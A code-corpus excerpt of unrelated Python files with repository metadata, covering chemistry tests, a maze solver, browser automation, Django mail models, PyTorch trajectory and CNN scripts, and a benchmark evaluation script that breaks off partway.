344bdfd8bb0a323b85e099ee0a1e40416c891086
1,774
py
Python
tests/chem/test_mol.py
ShantamShorewala/aizynthfinder
6b15d5846558b14c4ce3c353727d9d676af7f6fb
[ "MIT" ]
219
2020-06-15T08:04:53.000Z
2022-03-31T09:02:47.000Z
tests/chem/test_mol.py
ShantamShorewala/aizynthfinder
6b15d5846558b14c4ce3c353727d9d676af7f6fb
[ "MIT" ]
56
2020-08-14T14:50:42.000Z
2022-03-22T12:49:06.000Z
tests/chem/test_mol.py
ShantamShorewala/aizynthfinder
6b15d5846558b14c4ce3c353727d9d676af7f6fb
[ "MIT" ]
58
2020-06-15T13:36:42.000Z
2022-03-21T06:18:02.000Z
import pytest from rdkit import Chem from aizynthfinder.chem import MoleculeException, Molecule def test_no_input(): with pytest.raises(MoleculeException): Molecule() def test_create_with_mol(): rd_mol = Chem.MolFromSmiles("O") mol = Molecule(rd_mol=rd_mol) assert mol.smiles == "O" def test_create_with_smiles(): mol = Molecule(smiles="O") assert Chem.MolToSmiles(mol.rd_mol) == "O" def test_inchi(): mol = Molecule(smiles="O") assert mol.inchi == "InChI=1S/H2O/h1H2" def test_inchi_key(): mol = Molecule(smiles="O") assert mol.inchi_key == "XLYOFNOQVPJJNP-UHFFFAOYSA-N" def test_fingerprint(): mol = Molecule(smiles="O") assert sum(mol.fingerprint(2)) == 1 assert sum(mol.fingerprint(2, 10)) == 1 def test_sanitize(): mol = Molecule(smiles="O", sanitize=True) assert Chem.MolToSmiles(mol.rd_mol) == "O" mol = Molecule(smiles="c1ccccc1(C)(C)") with pytest.raises(MoleculeException): mol.sanitize() mol.sanitize(raise_exception=False) assert mol.smiles == "CC1(C)CCCCC1" def test_equality(): mol1 = Molecule(smiles="CCCCO") mol2 = Molecule(smiles="OCCCC") assert mol1 == mol2 def test_basic_equality(): mol1 = Molecule(smiles="CC[C@@H](C)O") # R-2-butanol mol2 = Molecule(smiles="CC[C@H](C)O") # S-2-butanol assert mol1 != mol2 assert mol1.basic_compare(mol2) def test_has_atom_mapping(): mol1 = Molecule(smiles="CCCCO") mol2 = Molecule(smiles="C[C:5]CCO") assert not mol1.has_atom_mapping() assert mol2.has_atom_mapping() def test_remove_atom_mapping(): mol = Molecule(smiles="C[C:5]CCO") assert mol.has_atom_mapping() mol.remove_atom_mapping() assert not mol.has_atom_mapping()
19.494505
58
0.669109
0
0
0
0
0
0
0
0
201
0.113303
344cd574f56ada084ecacd041bbefa24f527dd55
715
py
Python
agents/agent_loader.py
JCKing97/Agents4Asteroids
c25eb106b9963db97a6fd426f2a8b2f7b8dd073f
[ "MIT" ]
1
2020-06-24T16:07:38.000Z
2020-06-24T16:07:38.000Z
agents/agent_loader.py
JCKing97/Agents4Asteroids
c25eb106b9963db97a6fd426f2a8b2f7b8dd073f
[ "MIT" ]
9
2019-08-14T19:44:39.000Z
2020-05-03T13:01:57.000Z
agents/agent_loader.py
JCKing97/Agents4Asteroids
c25eb106b9963db97a6fd426f2a8b2f7b8dd073f
[ "MIT" ]
null
null
null
from typing import List, Type from game.agent import Agent import os from importlib import import_module import inspect def load_agents() -> List[Type[Agent]]: """ :return: all available agent types currently in the system. """ agents: List[Type[Agent]] = [] agent_dir = os.path.dirname(os.path.abspath(__file__)) for filename in os.listdir(agent_dir): filename = str(filename) if filename.endswith(".py"): module = import_module("agents." + filename.split('.')[0]) for name, obj in inspect.getmembers(module, inspect.isclass): if issubclass(obj, Agent) and obj is not Agent: agents.append(obj) return agents
32.5
73
0.641958
0
0
0
0
0
0
0
0
92
0.128671
344d4a396eb26c9eccedae0bb72c566a4fafb73b
1,806
py
Python
src/qa_data_augmentation_script/random_data_split.py
zxgx/Graph2Seq-for-KGQG
ce0f5d2c01a37830d8bacd1494c51faf4bd1ff61
[ "Apache-2.0" ]
24
2020-12-22T01:39:33.000Z
2022-03-08T15:54:00.000Z
src/qa_data_augmentation_script/random_data_split.py
zxgx/Graph2Seq-for-KGQG
ce0f5d2c01a37830d8bacd1494c51faf4bd1ff61
[ "Apache-2.0" ]
4
2020-12-25T23:41:48.000Z
2022-02-27T03:06:36.000Z
src/qa_data_augmentation_script/random_data_split.py
zxgx/Graph2Seq-for-KGQG
ce0f5d2c01a37830d8bacd1494c51faf4bd1ff61
[ "Apache-2.0" ]
11
2020-12-22T13:42:39.000Z
2022-02-23T08:10:17.000Z
import argparse import random import os import json def load_ndjson(file): data = [] try: with open(file, 'r') as f: for line in f: data.append(json.loads(line.strip())) except Exception as e: raise e return data def dump_ndjson(data, file): try: with open(file, 'w') as f: for each in data: f.write(json.dumps(each) + '\n') except Exception as e: raise e if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('-i', '--input', required=True, type=str, nargs='+', help='path to the input datasets') parser.add_argument('-out_dir', '--out_dir', required=True, type=str, help='path to the output dir') parser.add_argument('-ratio', '--ratio', type=float, nargs='+', help='training data sampling ratio') opt = vars(parser.parse_args()) random.seed(123) data = [] for path in opt['input']: data.extend(load_ndjson(path)) assert len(opt['ratio']) == 2 and sum(opt['ratio']) < 1 and min(opt['ratio']) > 0 train_ratio, dev_ratio = opt['ratio'] n_train = int(len(data) * train_ratio) n_dev = int(len(data) * dev_ratio) random.shuffle(data) random.shuffle(data) random.shuffle(data) random.shuffle(data) random.shuffle(data) train_data = data[:n_train] dev_data = data[n_train:n_train + n_dev] test_data = data[n_train + n_dev:] dump_ndjson(train_data, os.path.join(opt['out_dir'], 'train.json')) dump_ndjson(dev_data, os.path.join(opt['out_dir'], 'dev.json')) dump_ndjson(test_data, os.path.join(opt['out_dir'], 'test.json')) print('total size: {}, train size: {}, dev size: {}, test size: {}'.format(len(data), len(train_data), len(dev_data), len(test_data)))
31.684211
138
0.621262
0
0
0
0
0
0
0
0
315
0.174419
344d956d488c516a29077183bd8d98d861f64296
6,322
py
Python
MultiRatMaze.py
MarcusRainbow/Maze
b1058161d7f55251b969e64bbe59b3bece3a310c
[ "MIT" ]
null
null
null
MultiRatMaze.py
MarcusRainbow/Maze
b1058161d7f55251b969e64bbe59b3bece3a310c
[ "MIT" ]
null
null
null
MultiRatMaze.py
MarcusRainbow/Maze
b1058161d7f55251b969e64bbe59b3bece3a310c
[ "MIT" ]
null
null
null
from typing import List, Set, Optional, Tuple from random import randrange, shuffle, random from RatInterface import Rat, MazeInfo from SimpleRats import AlwaysLeftRat, RandomRat from SimpleMaze import random_maze, render_graph, validate_edges from Localizer import Localizer, NonLocalLocalizer, OneDimensionalLocalizer, TwoDimensionalOneStepLocalizer from graphviz import Graph class MultiRatMaze: """ A multi-rat maze supports more than one rat, moving at different speeds. The speed of each rat is defined by an integer, stating how often the rat moves. """ def __init__(self, edges: List[List[int]], fill_back_steps: bool): """ Initialise with a set of edges. If fill_back_steps is true, we generate backward edges to make it an undirected graph. """ validate_edges(edges, fill_back_steps) self.all_edges = edges def __str__(self): return "MultiRatMaze(%s)" % self.all_edges def maze(self) -> List[List[int]]: return self.all_edges def solve( self, rats: List[Tuple[Rat, int]], max_iterations: int, wait_for_all: bool = False, info: Optional[MazeInfo] = None) -> bool: """ Tries to solve the maze. Returns the number of iterations used. If it exceeds max_iterations, returns max_iterations + 1. The rats parameter is a list of rats and their associated speeds (one being fastest, two meaning wait every other turn etc.) Either wait for all rats, or exit as soon as the fastest rat has quit. """ rat_count = len(rats) if rat_count == 0: raise Exception("No rats supplied") # Always start all rats from the beginning (may want to relax this # constraint) pos = [0] * rat_count iterations = 0 # set the last_pos such that the back path is the last in the first list last = self.all_edges[0][-1] last_pos = [last] * rat_count #print("pos=%i last_pos=%i" % (pos, last_pos)) # keep going until the either all rats have finished or just one (or we ran # out of iterations) end = len(self.all_edges) while not has_finished(pos, end, iterations, max_iterations, wait_for_all): iterations = iterations + 1 # First update the info for any rats that are newly in this location if info: for (i, (rat, speed)) in enumerate(rats): if (iterations - 1) % speed == 0: # find the edges from the current node edges = self.all_edges[pos[i]] # one of these edges should point back to where we came from if edges.count(last_pos[i]) != 1: print("Problem: no edge from %i to %i" % (pos[i], last_pos[i])) back = edges.index(last_pos[i]) num_edges = len(edges) # update the info info.set_pos(pos[i], back, num_edges, rat) # Next, for any rats that are not skipping this turn, make the turn for (i, (rat, speed)) in enumerate(rats): if iterations % speed != 0: continue # skip a turn for this rat # get the rat to choose a direction edges = self.all_edges[pos[i]] back = edges.index(last_pos[i]) num_edges = len(edges) turn = rat.turn(num_edges, info) if (turn >= num_edges) or (turn < 0): raise Exception("Rat turn out of range") # invalidate the position of this rat, as it is about to move if info: info.invalidate_pos(rat) # convert it to an absolute direction and make the move direction = (turn + back) % num_edges last_pos[i] = pos[i] pos[i] = edges[direction] #print("pos=%i last_pos=%i" % (pos, last_pos)) # hit the end, or failed with an iteration count that is too high # (technically we should worry about the case where we hit max # iterations with a valid exit, but this is unlikely and does not # matter much). return iterations def has_finished(pos: List[int], end: int, iterations: int, max_iterations: int, wait_for_all: bool) -> bool: if iterations > max_iterations: return True if wait_for_all: return all(p == end for p in pos) else: return end in pos def test_multiple_left_rats(): rat = AlwaysLeftRat() # content-less rat, so only need one rats = [(rat, 2), (rat, 3)] maze = MultiRatMaze([[1, 3], [2], [3, 0]], True) MAX_ITER = 10 iter = maze.solve(rats, MAX_ITER) print("test_left_multi_rats solved in %i iterations" % iter) assert(iter > 0 and iter <= MAX_ITER) def test_big_multimaze(): rat = RandomRat() # content-less rat, so only need one rats = [(rat, 2), (rat, 3)] maze = MultiRatMaze([[5, 3], [6], [5, 3, 17, 14, 13, 20], [2, 0, 4, 14, 13, 5, 17, 12], [7, 3], [0, 14, 9, 2, 6, 3], [5, 13, 1], [8, 4, 19, 10], [14, 7], [14, 5, 17], [7, 13], [15, 16], [3, 15], [6, 17, 10, 3, 16, 2], [5, 9, 2, 8, 3, 19], [12, 11, 18], [11, 13], [13, 2, 9, 3], [15], [14, 7]], False) MAX_ITER = 1000 iter = maze.solve(rats, MAX_ITER) print("test_big_maze solved in %i iterations" % iter) assert(iter > 0 and iter < MAX_ITER) def test_random_1d_multimaze(): maze = MultiRatMaze(random_maze(0.5, OneDimensionalLocalizer(25, 5)), False) render_graph(maze.maze(), "temp/random_1d_multimaze") rat = RandomRat() rats = [(rat, 2), (rat, 3)] MAX_ITER = 1000 iter = maze.solve(rats, MAX_ITER) print("test_random_1d_multimaze solved in %i iterations" % iter) assert(iter > 0 and iter < MAX_ITER) if __name__ == "__main__": test_multiple_left_rats() test_big_multimaze() test_random_1d_multimaze()
41.320261
110
0.568175
4,133
0.653749
0
0
0
0
0
0
2,041
0.322841
344e186983740ead69b276e12886da372d386a96
2,187
py
Python
splinter/cmstest/resourcePlatform/order.py
zhaopiandehuiyiforsang/python_test
7a6ef77afd3b436f798ca68c77b9ac8669e00094
[ "MIT" ]
null
null
null
splinter/cmstest/resourcePlatform/order.py
zhaopiandehuiyiforsang/python_test
7a6ef77afd3b436f798ca68c77b9ac8669e00094
[ "MIT" ]
null
null
null
splinter/cmstest/resourcePlatform/order.py
zhaopiandehuiyiforsang/python_test
7a6ef77afd3b436f798ca68c77b9ac8669e00094
[ "MIT" ]
null
null
null
# -*- coding:utf-8 -*- import init_env import time from splinter import Browser class Order: """创建订单 """ def __init__(self, browser=None): self.browser = browser # 1.创建订单 self.create() # 2.提交订单并生效 self.active() def create(self): """创建订单 """ browser = self.browser # 进入订单管理页面 browser.visit( 'https://rastest9.zhixueyun.com/admin/#/order/order-manage') time.sleep(1) # 5.点开新增订单页面 add_order = browser.find_by_xpath( '/html/body/div[1]/div[2]/div[2]/div/div[2]/div[2]/div[1]/div') add_order.click() time.sleep(0.5) # 5.1.1.点开客户方选择器 company_name = browser.find_by_name('company_name') time.sleep(0.5) company_name.click() time.sleep(1) # 5.1.2.过滤客户方 username_input = browser.find_by_name('fullName') username_input.fill('kedong') searchbtn = browser.find_by_text('查询').last time.sleep(0.5) searchbtn.click() time.sleep(0.5) # 5.1.3.选择客户方 (选择列表中的第一个) user_list = browser.find_by_name('memberId') user_list.click() # 5.1.4.确定 confirmbtn = browser.find_by_text('确定').last time.sleep(0.5) confirmbtn.click() time.sleep(0.5) # 5.2.1.选择订单类型 browser.find_by_css( 'selectize-input items has-options full has-items').last.click() # 5.2.2.选择资源订单类型 browser.find_by_xpath( '/html/body/div[1]/div[3]/div[2]/div/div/div[2]/div/div/div[2]/div/div/form/div/div[3]/div[2]/div/div[2]/div/div[2]').click() # 5.3.1.设置订单有效期——开始时间 browser.find_by_xpath('//*[@id="D449start-time"]').click() browser.find_by_css_selector( 'div.dayContainer > span.today').click() # 5.3.2.设置订单有效期——结束时间 browser.find_by_xpath('//*[@id="D449start-time"]').click() # browser.find_by_css_selector('div.dayContainer > span.today + span').click() print('创建订单') time.sleep(5) def active(self): """提交订单并生效 """ print('提交订单并生效') time.sleep(5)
27.3375
137
0.555098
2,356
0.96597
0
0
0
0
0
0
1,022
0.419024
344fd867b506c15ba847e2f164c3714a717e5d31
687
py
Python
day13/1.py
lvrcek/advent-of-code-2020
2f0acd80d0d8053539327282da29aca08bd7dfcf
[ "MIT" ]
2
2020-12-06T09:34:58.000Z
2020-12-07T08:12:46.000Z
day13/1.py
lvrcek/advent-of-code-2020
2f0acd80d0d8053539327282da29aca08bd7dfcf
[ "MIT" ]
null
null
null
day13/1.py
lvrcek/advent-of-code-2020
2f0acd80d0d8053539327282da29aca08bd7dfcf
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Advent of Code 2020 Day 13, Part 1 """ def main(): with open('in.txt') as f: lines = f.readlines() arrival = int(lines[0].strip()) bus_ids = [] for n in lines[1].strip().split(','): if n == 'x': continue else: bus_ids.append(int(n)) waiting_time = [(n - arrival % n, n) for n in bus_ids] min_time = waiting_time[0][0] first_bus = waiting_time[0][1] for minutes, bus in waiting_time[1:]: if minutes < min_time: min_time = minutes first_bus = bus print(min_time * first_bus) if __name__ == '__main__': main()
18.567568
58
0.535662
0
0
0
0
0
0
0
0
110
0.160116
344fe3a1bf94dc0bbf294fb4e913b4735993b476
1,318
py
Python
autorest/multiapi/models/config.py
qwordy/autorest.python
6b12df51c2a39a1285546b5a771b69f5896e794f
[ "MIT" ]
null
null
null
autorest/multiapi/models/config.py
qwordy/autorest.python
6b12df51c2a39a1285546b5a771b69f5896e794f
[ "MIT" ]
null
null
null
autorest/multiapi/models/config.py
qwordy/autorest.python
6b12df51c2a39a1285546b5a771b69f5896e794f
[ "MIT" ]
null
null
null
# ------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # -------------------------------------------------------------------------- import json from typing import Any, Dict from .imports import FileImport class Config: def __init__(self, default_version_metadata: Dict[str, Any]): self.credential = default_version_metadata["config"]["credential"] self.credential_scopes = default_version_metadata["config"]["credential_scopes"] self.credential_default_policy_type = default_version_metadata["config"]["credential_default_policy_type"] self.credential_default_policy_type_has_async_version = ( default_version_metadata["config"]["credential_default_policy_type_has_async_version"] ) self.credential_key_header_name = default_version_metadata["config"]["credential_key_header_name"] self.default_version_metadata = default_version_metadata def imports(self, async_mode: bool) -> FileImport: imports_to_load = "async_imports" if async_mode else "sync_imports" return FileImport(json.loads(self.default_version_metadata['config'][imports_to_load]))
54.916667
114
0.679059
933
0.707891
0
0
0
0
0
0
523
0.396813
345164971a2c93830e3358826acf86441dbdf9b6
1,294
py
Python
mail/models.py
drscream/kumquat
7bd3d84cc4d0fbdbefa46849210fa787176d6091
[ "MIT" ]
12
2015-12-10T03:13:28.000Z
2022-03-06T15:43:40.000Z
mail/models.py
drscream/kumquat
7bd3d84cc4d0fbdbefa46849210fa787176d6091
[ "MIT" ]
53
2020-10-09T06:38:09.000Z
2022-03-16T23:04:34.000Z
mail/models.py
drscream/kumquat
7bd3d84cc4d0fbdbefa46849210fa787176d6091
[ "MIT" ]
2
2017-02-17T10:13:02.000Z
2018-07-06T11:02:26.000Z
from django.db import models from django.utils.translation import ugettext_lazy as _ from passlib.hash import sha512_crypt from kumquat.models import Domain default_length = 255 class Account(models.Model): name = models.CharField(max_length=default_length) domain = models.ForeignKey(Domain, related_name='mail_accounts', on_delete=models.CASCADE) password = models.CharField(max_length=default_length) subaddress = models.BooleanField(verbose_name=_('Subaddress extension'), help_text=_('Enable subaddress extension (e.g. primary+sub@example.com'), default=False) def set_password(self, password): self.password = sha512_crypt.encrypt(password) def __str__(self): return str(self.name) + '@' + str(self.domain) def save(self, **kwargs): self.name = self.name.lower() super().save(**kwargs) class Meta: unique_together = (('name', 'domain'),) class Redirect(models.Model): name = models.CharField(max_length=default_length) domain = models.ForeignKey(Domain, on_delete=models.CASCADE) to = models.TextField() def __str__(self): return self.name + '@' + str(self.domain) def save(self, **kwargs): self.name = self.name.lower() self.to = self.to.lower() super().save(**kwargs) class Meta: unique_together = (('name', 'domain'),)
29.409091
162
0.729521
1,109
0.857032
0
0
0
0
0
0
130
0.100464
3452d60bd2ed06a752a9d27fd491621ef648c869
1,999
py
Python
src/nets.py
zpreisler/spectral
6c164e22f10a78d37a7b6e8e782d3263b54a7316
[ "MIT" ]
null
null
null
src/nets.py
zpreisler/spectral
6c164e22f10a78d37a7b6e8e782d3263b54a7316
[ "MIT" ]
null
null
null
src/nets.py
zpreisler/spectral
6c164e22f10a78d37a7b6e8e782d3263b54a7316
[ "MIT" ]
null
null
null
import torch from torch import nn,optim from torch.utils.data import Dataset,DataLoader from torch.optim import Adam from matplotlib.pyplot import show,figure,imshow,draw,ion,pause,subplots,subplots_adjust from numpy import log,array,asarray,save class Skip(nn.Module): def __init__(self,in_channels,out_channels): super().__init__() self.conv = nn.Sequential( nn.Conv1d(in_channels=in_channels, out_channels=in_channels, padding=2, kernel_size=5,bias=False), nn.BatchNorm1d(in_channels), nn.ReLU(), nn.Conv1d(in_channels=in_channels, out_channels=in_channels, padding=2, kernel_size=5,bias=False) ) self.pooling = nn.Sequential( nn.BatchNorm1d(in_channels), nn.ReLU(), nn.Conv1d(in_channels=in_channels, out_channels=out_channels, padding=0, kernel_size=1), nn.MaxPool1d(kernel_size=2, stride=2) ) def forward(self,x): y = self.conv(x) x = x + y x = self.pooling(x) return x class CNNSkip(nn.Module): def __init__(self,channels = 16, kernel_size = 5): super().__init__() self.l0 = nn.Sequential( nn.Conv1d(in_channels=2, out_channels=channels, padding= int(kernel_size / 2), kernel_size=kernel_size) ) self.reduce = nn.MaxPool1d(kernel_size=2, stride=2) self.skip_0 = Skip(channels,channels) self.skip_1 = Skip(channels,channels) self.skip_2 = Skip(channels,channels) self.skip_3 = Skip(channels,1) self.fc = nn.Sequential( nn.Linear(128,4), nn.Sigmoid() ) def forward(self,x): x = self.l0(x) x = self.skip_0(x) x = self.skip_1(x) + self.reduce(x) x = self.skip_2(x) + self.reduce(x) x = self.skip_3(x) z = x.flatten(1) #print(z.shape) z = self.fc(z) return z
28.557143
115
0.594797
1,745
0.872936
0
0
0
0
0
0
15
0.007504
34534850b62dcaf2706a524824e2fba8da6957d4
8,870
py
Python
RNN/data/gru_loadNtest.py
aroongta/Pedestrian_Trajectory_Prediction
de368ef502391bbc87100314f96a3ab1f6b9959a
[ "MIT" ]
24
2019-04-19T06:46:26.000Z
2022-03-10T06:54:29.000Z
RNN/data/gru_loadNtest.py
ironartisan/Pedestrian_Trajectory_Prediction
de368ef502391bbc87100314f96a3ab1f6b9959a
[ "MIT" ]
6
2020-05-09T07:39:57.000Z
2022-01-13T01:00:04.000Z
RNN/data/gru_loadNtest.py
ironartisan/Pedestrian_Trajectory_Prediction
de368ef502391bbc87100314f96a3ab1f6b9959a
[ "MIT" ]
14
2019-04-10T08:23:26.000Z
2021-03-20T11:49:08.000Z
#Script to load GRU model trained on all datasets and test # import relevant libraries import torch import torch.nn as nn import torch.optim as optim import matplotlib import numpy as np import trajectories import loader import argparse import gc import logging import os import sys import time from gru_prototype_v4_alldata import GRUNet # class definition needed # build argparser parser = argparse.ArgumentParser() parser.add_argument('--input_size', type=int, default=2) parser.add_argument('--output_size', type=int, default=2) # RNN size parameter (dimension of the output/hidden state) parser.add_argument('--rnn_size', type=int, default=128, help='size of RNN hidden state') # size of each batch parameter parser.add_argument('--batch_size', type=int, default=10, help='minibatch size') # Length of sequence to be considered parameter parser.add_argument('--seq_length', type=int, default=20, help='RNN sequence length') parser.add_argument('--pred_length', type=int, default=12, help='prediction length') # number of epochs parameter parser.add_argument('--num_epochs', type=int, default=20, help='number of epochs') # frequency at which the model should be saved parameter parser.add_argument('--save_every', type=int, default=400, help='save frequency') # gradient value at which it should be clipped parser.add_argument('--grad_clip', type=float, default=10., help='clip gradients at this value') # learning rate parameter parser.add_argument('--learning_rate', type=float, default=0.003, help='learning rate') # decay rate for the learning rate parameter parser.add_argument('--decay_rate', type=float, default=0.95, help='decay rate for rmsprop') # dropout probability parameter parser.add_argument('--dropout', type=float, default=0.5, help='dropout probability') # dimension of the embeddings parameter parser.add_argument('--embedding_size', type=int, default=64, help='Embedding dimension for the spatial coordinates') # size of neighborhood to be considered parameter parser.add_argument('--neighborhood_size', type=int, default=32, help='Neighborhood size to be considered for social grid') # size of the social grid parameter parser.add_argument('--grid_size', type=int, default=4, help='Grid size of the social grid') # maximum number of pedestrians to be considered parser.add_argument('--maxNumPeds', type=int, default=27, help='Maximum Number of Pedestrians') # lambda regularization parameter (L2) parser.add_argument('--lambda_param', type=float, default=0.0005, help='L2 regularization parameter') # cuda parameter parser.add_argument('--use_cuda', action="store_true", default=False, help='Use GPU or not') # GRU parameter parser.add_argument('--gru', action="store_true", default=False, help='True : GRU cell, False: LSTM cell') # drive option parser.add_argument('--drive', action="store_true", default=False, help='Use Google drive or not') # number of validation will be used parser.add_argument('--num_validation', type=int, default=2, help='Total number of validation dataset for validate accuracy') # frequency of validation parser.add_argument('--freq_validation', type=int, default=1, help='Frequency number(epoch) of validation using validation data') # frequency of optimizer learning decay parser.add_argument('--freq_optimizer', type=int, default=8, help='Frequency number(epoch) of learning decay for optimizer') # store grids in epoch 0 and use further.2 times faster -> Intensive memory use around 12 GB parser.add_argument('--grid', action="store_true", default=True, help='Whether store grids and use further epoch') # dataset options parser.add_argument('--dataset_name', default='zara1', type=str) parser.add_argument('--delim', default='\t') parser.add_argument('--loader_num_workers', default=4, type=int) parser.add_argument('--obs_len', default=8, type=int) parser.add_argument('--pred_len', default=12, type=int) parser.add_argument('--skip', default=1, type=int) args = parser.parse_args() cur_dataset = args.dataset_name data_dir = os.path.join('/home/roongtaaahsih/ped_traj/sgan_ab/scripts/datasets/', cur_dataset + '/test') # load trained model gru_net = torch.load('./saved_models/gru_model_zara2_lr_0.0025_epoch_100_predlen_12.pt') gru_net.eval() # set dropout and batch normalization layers to evaluation mode before running inference # test function to calculate and return avg test loss after each epoch def test(gru_net,args,pred_len,data_dir): test_data_dir = data_dir #os.path.join('/home/ashishpc/Desktop/sgan_ab/scripts/datasets/', cur_dataset + '/train') # retrieve dataloader dataset, dataloader = loader.data_loader(args, test_data_dir) # define parameters for training and testing loops criterion = nn.MSELoss() # MSE works best for difference between predicted and actual coordinate paths # initialize lists for capturing losses test_loss = [] test_avgD_error=[] test_finalD_error=[] # now, test the model for i, batch in enumerate(dataloader): test_observed_batch = batch[0] test_target_batch = batch[1] out = gru_net(test_observed_batch, pred_len=pred_len) # forward pass of lstm network for training cur_test_loss = criterion(out, test_target_batch) # calculate MSE loss test_loss.append(cur_test_loss.item()) out1=out target_batch1=test_target_batch #making a copy of the tensors to convert them to array seq, peds, coords = test_target_batch.shape avgD_error=(np.sum(np.sqrt(np.square(out1[:,:,0].detach().numpy()-target_batch1[:,:,0].detach().numpy())+ np.square(out1[:,:,1].detach().numpy()-target_batch1[:,:,1].detach().numpy()))))/(pred_len*peds) test_avgD_error.append(avgD_error) # final displacement error finalD_error=(np.sum(np.sqrt(np.square(out1[pred_len-1,:,0].detach().numpy()-target_batch1[pred_len-1,:,0].detach().numpy())+ np.square(out1[pred_len-1,:,1].detach().numpy()-target_batch1[pred_len-1,:,1].detach().numpy()))))/peds test_finalD_error.append(finalD_error) avg_testloss = sum(test_loss)/len(test_loss) avg_testD_error=sum(test_avgD_error)/len(test_avgD_error) avg_testfinalD_error=sum(test_finalD_error)/len(test_finalD_error) print("============= Average test loss:", avg_testloss, "====================") return avg_testloss, avg_testD_error,avg_testfinalD_error def main(args): '''define parameters for training and testing loops!''' # num_epoch = 20 # pred_len = 12 # learning_rate = 0.001 num_epoch = args.num_epochs pred_len = args.pred_len learning_rate = args.learning_rate # retrieve dataloader dataset, dataloader = loader.data_loader(args, data_dir) ''' define the network, optimizer and criterion ''' # gru_net = GRUNet() criterion = nn.MSELoss() # MSE works best for difference between predicted and actual coordinate paths # optimizer = optim.Adam(gru_net.parameters(), lr=learning_rate) # # initialize lists for capturing losses/errors # test_loss = [] # avg_test_loss = [] # test_finalD_error=[] # test_avgD_error=[] # std_test_loss = [] #calling the test function and calculating the test losses avg_test_loss,test_avgD_error,test_finalD_error=test(gru_net,args,pred_len,data_dir) # save results to text file txtfilename = os.path.join("./txtfiles/", r"Trained_all_Results_table_lr_"+ str(learning_rate)+ ".txt") os.makedirs(os.path.dirname("./txtfiles/"), exist_ok=True) # make directory if it doesn't exist with open(txtfilename, "a+") as f: #will append to a file, create a new one if it doesn't exist if(pred_len==2): #To print the heading in the txt file f.write("Pred_Len"+"\t"+"Avg_Test_Loss"+"\t"+"Test_AvgD_Error"+"\t"+"Test_FinalDisp_Error"+"\n") #f.write("\n==============Average train loss vs. epoch:===============") f.write(str(pred_len)+"\t") #f.write("\n==============avg test loss vs. epoch:===================") f.write(str(avg_test_loss)+"\t") #f.write("\n==============Avg test displacement error:===================") f.write(str(test_avgD_error)+"\t") #f.write("\n==============final test displacement error:===================") f.write(str(test_finalD_error)+"\n") f.close() print("saved average and std of training losses to text file in: ./txtfiles") '''main function''' if __name__ == '__main__': main(args)
44.79798
133
0.685795
0
0
0
0
0
0
0
0
4,191
0.472492
34544ffb43d91db7459d5aeadd8a11adedfcdfee
207
py
Python
rdbtools3/__init__.py
popravich/rdbtools3
c2b097f58e7d3a3b12e6671aa413c263c1fb96cf
[ "MIT" ]
3
2016-01-12T23:14:47.000Z
2019-07-10T05:36:22.000Z
rdbtools3/__init__.py
popravich/rdbtools3
c2b097f58e7d3a3b12e6671aa413c263c1fb96cf
[ "MIT" ]
null
null
null
rdbtools3/__init__.py
popravich/rdbtools3
c2b097f58e7d3a3b12e6671aa413c263c1fb96cf
[ "MIT" ]
null
null
null
from .parser import parse_rdb_stream, RDBItem from .exceptions import FileFormatError, RDBValueError __version__ = '0.1.2' (RDBItem, parse_rdb_stream, FileFormatError, RDBValueError) # pragma: no cover
23
54
0.797101
0
0
0
0
0
0
0
0
25
0.120773
34546968b54bbbe9114ab3e2de0a287af779ee89
680
py
Python
vis_imagine_static_voxels/resize_voxel.py
mihirp1998/EmbLang
169b0468ccda554896973bcc226afb3e762a70e7
[ "Apache-2.0" ]
3
2020-07-12T02:15:27.000Z
2021-07-18T06:00:49.000Z
vis_imagine_static_voxels/resize_voxel.py
mihirp1998/EmbLang
169b0468ccda554896973bcc226afb3e762a70e7
[ "Apache-2.0" ]
1
2021-07-18T06:00:10.000Z
2021-07-24T11:51:17.000Z
vis_imagine_static_voxels/resize_voxel.py
mihirp1998/EmbLang
169b0468ccda554896973bcc226afb3e762a70e7
[ "Apache-2.0" ]
null
null
null
import tensorflow as tf def sum(): return tf.ones([2,2,2]) def resize_by_axis(image, dim_1, dim_2, ax): resized_list = [] unstack_img_depth_list = tf.unstack(image, axis = ax) for i in unstack_img_depth_list: resized_list.append(tf.image.resize(i, [dim_1, dim_2])) stack_img = tf.stack(resized_list, axis=ax) return stack_img def resize_voxel(vox,dims): dim_1,dim_2,dim_3 = dims resized_along_depth = resize_by_axis(vox,dim_1,dim_2,3) resized_along_width = resize_by_axis(resized_along_depth,dim_1,dim_3,2) return resized_along_width # resized_along_depth = resize_by_axis(x,50,60,2, True) # resized_along_width = resize_by_axis(resized_along_depth,50,70,1,True)
35.789474
72
0.776471
0
0
0
0
0
0
0
0
128
0.188235
3455f4a5fc9fcb3c76c852716944dda931b3c3f3
5,288
py
Python
PassInstrument/inference/SpeedupEvaluation/RunSpeedupEval.py
JaredCJR/ThesisTools
41af365ca85da3f73f72880488477ec699b05923
[ "Apache-2.0" ]
1
2018-10-14T13:49:36.000Z
2018-10-14T13:49:36.000Z
PassInstrument/inference/SpeedupEvaluation/RunSpeedupEval.py
JaredCJR/ThesisTools
41af365ca85da3f73f72880488477ec699b05923
[ "Apache-2.0" ]
null
null
null
PassInstrument/inference/SpeedupEvaluation/RunSpeedupEval.py
JaredCJR/ThesisTools
41af365ca85da3f73f72880488477ec699b05923
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python3 import os, sys, signal import multiprocessing import subprocess as sp import shutil import shlex import psutil import time import csv import json import pytz from datetime import datetime import Lib as lib sys.path.append('/home/jrchang/workspace/gym-OptClang/gym_OptClang/envs/') import RemoteWorker as rwork def getTargets(path): """ path: the root path for "test-suite" to search ".test" file """ prog = rwork.Programs() AllTargetsDict = prog.getAvailablePrograms() ListOfAvailableTarget = list(AllTargetsDict.keys()) # search all test target in Apps AppTargets = {} test_pattern = '.test' for root, dirs, files in os.walk(path): for file in files: if file.endswith(test_pattern): # remove .test in the file name file = file[:-5] # filter out those are not in our consideration. if file in ListOfAvailableTarget: AppTargets[file] = root return AppTargets def Eval(TargetDict, WorkerID): """ TargetDict = {"target": "target root path"} return BuildTimeDict = {"target": run-time} """ RunCyclesDict = {} prevCwd = os.getcwd() actor = lib.EnvResponseActor() for target, targetRoot in TargetDict.items(): isBuilt = False retStatus = actor.EnvEcho(target, WorkerID, TargetDict, ParallelBuild=True) if 